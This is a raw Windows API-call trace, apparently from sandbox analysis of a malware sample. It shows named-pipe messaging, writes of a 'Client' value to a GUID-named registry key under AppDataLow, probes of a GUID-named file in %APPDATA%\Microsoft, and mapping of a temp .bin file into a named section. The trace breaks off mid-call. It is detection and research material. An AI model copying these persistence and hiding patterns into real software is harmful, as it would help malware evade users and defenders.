[0202.099] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2c) returned 0x9a6e990 [0202.099] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x52c [0202.099] ReadFile (in: hFile=0x11c0, lpBuffer=0x9a6e990, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9a6e990*, lpNumberOfBytesRead=0x9d7f7e8*=0x2c, lpOverlapped=0x9d7f7a0) returned 1 [0202.099] CloseHandle (hObject=0x52c) returned 1 [0202.113] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9d7f6d8 | out: phkResult=0x9d7f6d8*=0x52c) returned 0x0 [0202.117] RegSetValueExA (in: hKey=0x52c, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9a6e990*, cbData=0x2c | out: lpData=0x9a6e990*) returned 0x0 [0202.118] RegCloseKey (hKey=0x52c) returned 0x0 [0202.118] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0202.118] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x52c [0202.118] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0202.118] CloseHandle (hObject=0x52c) returned 1 [0202.118] FlushFileBuffers (hFile=0x11c0) returned 1 [0202.118] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0202.118] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0202.118] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0202.118] GetLastError () returned 0x3e5 [0202.118] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0204.247] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x538 [0204.247] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0xc, lpOverlapped=0x9d7f7a0) returned 1 [0204.247] CloseHandle (hObject=0x538) returned 1 [0204.247] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2c) returned 0x9a6e990 [0204.247] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x538 [0204.247] ReadFile (in: hFile=0x11c0, lpBuffer=0x9a6e990, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9a6e990*, lpNumberOfBytesRead=0x9d7f7e8*=0x2c, lpOverlapped=0x9d7f7a0) returned 1 [0204.247] CloseHandle (hObject=0x538) returned 1 [0204.247] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9d7f6d8 | out: phkResult=0x9d7f6d8*=0x538) returned 0x0 [0204.247] RegSetValueExA (in: hKey=0x538, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9a6e990*, cbData=0x2c | out: lpData=0x9a6e990*) returned 0x0 [0204.247] RegCloseKey (hKey=0x538) returned 0x0 [0204.247] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0204.247] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x538 [0204.247] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0204.247] CloseHandle (hObject=0x538) returned 1 [0204.247] FlushFileBuffers (hFile=0x11c0) returned 1 [0204.247] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0204.247] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0204.247] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0204.248] GetLastError () returned 0x3e5 [0204.248] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0204.258] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6d8 [0204.258] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0204.258] GetLastError () returned 0x3e5 [0204.258] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0204.258] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0204.258] CloseHandle (hObject=0x6d8) returned 1 [0204.258] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11) returned 0x9b6dc50 [0204.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94b3444, lpParameter=0x9b6dc50, dwCreationFlags=0x0, lpThreadId=0x9d7f6e0 | out: lpThreadId=0x9d7f6e0*=0xbe0) returned 0x6d8 [0204.259] CloseHandle (hObject=0x6d8) returned 1 [0204.259] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6d8 [0204.259] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0204.259] CloseHandle (hObject=0x6d8) returned 1 [0204.259] FlushFileBuffers (hFile=0x11c0) returned 1 [0204.259] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0204.259] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0204.259] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0204.259] GetLastError () returned 0x3e5 [0204.259] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0401.549] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6ac [0401.550] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0xc, lpOverlapped=0x9d7f7a0) returned 1 [0401.550] CloseHandle (hObject=0x6ac) returned 1 [0401.562] lstrlenA (lpString="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 58 [0401.563] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9b6dc30 [0401.563] mbstowcs (in: _Dest=0x9b6dc30, _Source="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}", _MaxCount=0x3b | out: _Dest="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 0x3a [0401.563] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x53 [0401.563] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa6) returned 0x9b6dcb0 [0401.563] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}", lpDst=0x9b6dcb0, nSize=0x53 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 0x53 [0401.563] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0401.563] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{6a5e21ff-c1fa-2c95-9b3e-8520ff528954}"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0401.563] GetLastError () returned 0x2 [0401.563] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dcb0 | out: hHeap=0x9770000) returned 1 [0401.567] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6ac [0401.567] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0401.568] CloseHandle (hObject=0x6ac) returned 1 [0401.568] FlushFileBuffers (hFile=0x11c0) returned 1 [0401.568] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0401.589] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0401.589] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0401.589] GetLastError () returned 0x3e5 [0401.589] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0405.547] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6ac [0405.547] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0405.547] GetLastError () returned 0x3e5 [0405.547] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0405.547] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0405.547] CloseHandle (hObject=0x6ac) returned 1 [0405.547] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11) returned 0x9b6dc30 [0405.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94b3444, lpParameter=0x9b6dc30, dwCreationFlags=0x0, lpThreadId=0x9d7f6e0 | out: lpThreadId=0x9d7f6e0*=0xae8) returned 0x6ac [0405.548] CloseHandle (hObject=0x6ac) returned 1 [0405.548] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6ac [0405.548] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0405.548] CloseHandle (hObject=0x6ac) returned 1 [0405.548] FlushFileBuffers (hFile=0x11c0) returned 1 [0405.548] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0405.548] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0405.548] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0405.548] GetLastError () returned 0x3e5 [0405.548] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0415.561] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6ac [0415.561] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0415.561] GetLastError () returned 0x3e5 [0415.561] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0415.561] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0415.561] CloseHandle (hObject=0x6ac) returned 1 [0415.561] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f110 [0415.562] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6ac [0415.562] ReadFile (in: hFile=0x11c0, lpBuffer=0x9a7f110, nNumberOfBytesToRead=0x5c, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9a7f110*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0415.562] GetLastError () returned 0x3e5 [0415.562] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0415.562] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0415.562] CloseHandle (hObject=0x6ac) returned 1 [0415.567] GetTickCount () returned 0x71bba [0415.567] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2855.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9518880, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ac [0415.576] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6dc30 [0415.576] wsprintfA (in: param_1=0x9b6dc30, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{510697B8-7C8B-AB70-0E15-700F2219A4B3}") returned 38 [0415.576] lstrlenA (lpString="Local\\") returned 6 [0415.576] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6dc60 [0415.576] lstrcpyA (in: lpString1=0x9b6dc60, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0415.576] lstrcatA (in: lpString1="Local\\", lpString2="{510697B8-7C8B-AB70-0E15-700F2219A4B3}" | out: lpString1="Local\\{510697B8-7C8B-AB70-0E15-700F2219A4B3}") returned="Local\\{510697B8-7C8B-AB70-0E15-700F2219A4B3}" [0415.576] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0415.576] GetFileSize (in: hFile=0x6ac, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa3 [0415.576] CreateFileMappingA (hFile=0x6ac, lpFileMappingAttributes=0x9518880, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa3, lpName="Local\\{510697B8-7C8B-AB70-0E15-700F2219A4B3}") returned 0x6b4 [0415.577] lstrlenA (lpString="Local\\{510697B8-7C8B-AB70-0E15-700F2219A4B3}") returned 44 [0415.577] lstrcpyA (in: lpString1=0x9d7f724, lpString2="Local\\{510697B8-7C8B-AB70-0E15-700F2219A4B3}" | out: lpString1="Local\\{510697B8-7C8B-AB70-0E15-700F2219A4B3}") returned="Local\\{510697B8-7C8B-AB70-0E15-700F2219A4B3}" [0415.577] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc60 | out: hHeap=0x9770000) returned 1 [0415.577] CloseHandle (hObject=0x6ac) returned 1 [0415.577] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6ac [0415.577] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f6b0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f698, lpOverlapped=0x9d7f650 | out: lpBuffer=0x9d7f6b0*, lpNumberOfBytesWritten=0x9d7f698*=0xc, lpOverlapped=0x9d7f650) returned 1 [0415.577] CloseHandle (hObject=0x6ac) returned 1 [0415.577] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6ac [0415.577] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f710*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x9d7f698, lpOverlapped=0x9d7f650 | out: lpBuffer=0x9d7f710*, lpNumberOfBytesWritten=0x9d7f698*=0x98, lpOverlapped=0x9d7f650) returned 1 [0415.577] CloseHandle (hObject=0x6ac) returned 1 [0415.577] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6ac [0415.577] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f6a0, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f688, lpOverlapped=0x9d7f640 | out: lpBuffer=0x9d7f6a0, lpNumberOfBytesRead=0x9d7f688*=0x0, lpOverlapped=0x9d7f640) returned 0x0 [0415.578] GetLastError () returned 0x3e5 [0415.578] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f630*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0415.578] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f640, lpNumberOfBytesTransferred=0x9d7f688, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f688) returned 0 [0415.578] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f6a0, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f688, lpOverlapped=0x9d7f640 | out: lpBuffer=0x9d7f6a0, lpNumberOfBytesRead=0x9d7f688*=0x0, lpOverlapped=0x9d7f640) returned 0 [0415.578] GetLastError () returned 0x6d [0415.578] CloseHandle (hObject=0x6ac) returned 1 [0415.578] CloseHandle (hObject=0x6b4) returned 1 [0415.578] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0415.578] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6b4 [0415.578] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760) returned 0 [0415.578] GetLastError () returned 0xe8 [0415.578] CloseHandle (hObject=0x6b4) returned 1 [0415.578] FlushFileBuffers (hFile=0x11c0) returned 1 [0415.579] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0415.579] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0415.579] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0415.579] GetLastError () returned 0x3e5 [0415.579] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0422.617] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6b4 [0422.617] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0xc, lpOverlapped=0x9d7f7a0) returned 1 [0422.617] CloseHandle (hObject=0x6b4) returned 1 [0422.617] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2c) returned 0x9b6dc30 [0422.617] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6b4 [0422.617] ReadFile (in: hFile=0x11c0, lpBuffer=0x9b6dc30, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9b6dc30*, lpNumberOfBytesRead=0x9d7f7e8*=0x2c, lpOverlapped=0x9d7f7a0) returned 1 [0422.617] CloseHandle (hObject=0x6b4) returned 1 [0422.622] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9d7f6d8 | out: phkResult=0x9d7f6d8*=0x6b4) returned 0x0 [0422.627] RegSetValueExA (in: hKey=0x6b4, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9b6dc30*, cbData=0x2c | out: lpData=0x9b6dc30*) returned 0x0 [0422.627] RegCloseKey (hKey=0x6b4) returned 0x0 [0422.627] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0422.627] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6b4 [0422.627] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0422.628] CloseHandle (hObject=0x6b4) returned 1 [0422.628] FlushFileBuffers (hFile=0x11c0) returned 1 [0422.628] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0422.628] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0422.628] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0422.628] GetLastError () returned 0x3e5 [0422.628] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0436.623] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6b4 [0436.623] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 0x0 [0436.623] GetLastError () returned 0x3e5 [0436.623] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0436.624] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 0 [0436.624] CloseHandle (hObject=0x6b4) returned 1 [0436.624] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2c) returned 0x9b6dc30 [0436.624] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6b4 [0436.624] ReadFile (in: hFile=0x11c0, lpBuffer=0x9b6dc30, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9b6dc30*, lpNumberOfBytesRead=0x9d7f7e8*=0x2c, lpOverlapped=0x9d7f7a0) returned 1 [0436.624] CloseHandle (hObject=0x6b4) returned 1 [0436.624] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9d7f6d8 | out: phkResult=0x9d7f6d8*=0x6b4) returned 0x0 [0436.624] RegSetValueExA (in: hKey=0x6b4, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9b6dc30*, cbData=0x2c | out: lpData=0x9b6dc30*) returned 0x0 [0436.624] RegCloseKey (hKey=0x6b4) returned 0x0 [0436.624] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0436.624] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6b4 [0436.624] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0436.624] CloseHandle (hObject=0x6b4) returned 1 [0436.624] FlushFileBuffers (hFile=0x11c0) returned 1 [0436.624] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0436.624] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0436.624] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0436.625] GetLastError () returned 0x3e5 [0436.625] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0701.552] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0701.552] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0701.552] GetLastError () returned 0x3e5 [0701.552] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0701.552] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0701.552] CloseHandle (hObject=0x558) returned 1 [0701.568] lstrlenA (lpString="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 58 [0701.568] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9b6dc30 [0701.568] mbstowcs (in: _Dest=0x9b6dc30, _Source="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}", _MaxCount=0x3b | out: _Dest="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 0x3a [0701.568] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x53 [0701.568] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa6) returned 0x9b6dcb0 [0701.568] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}", lpDst=0x9b6dcb0, nSize=0x53 | out: 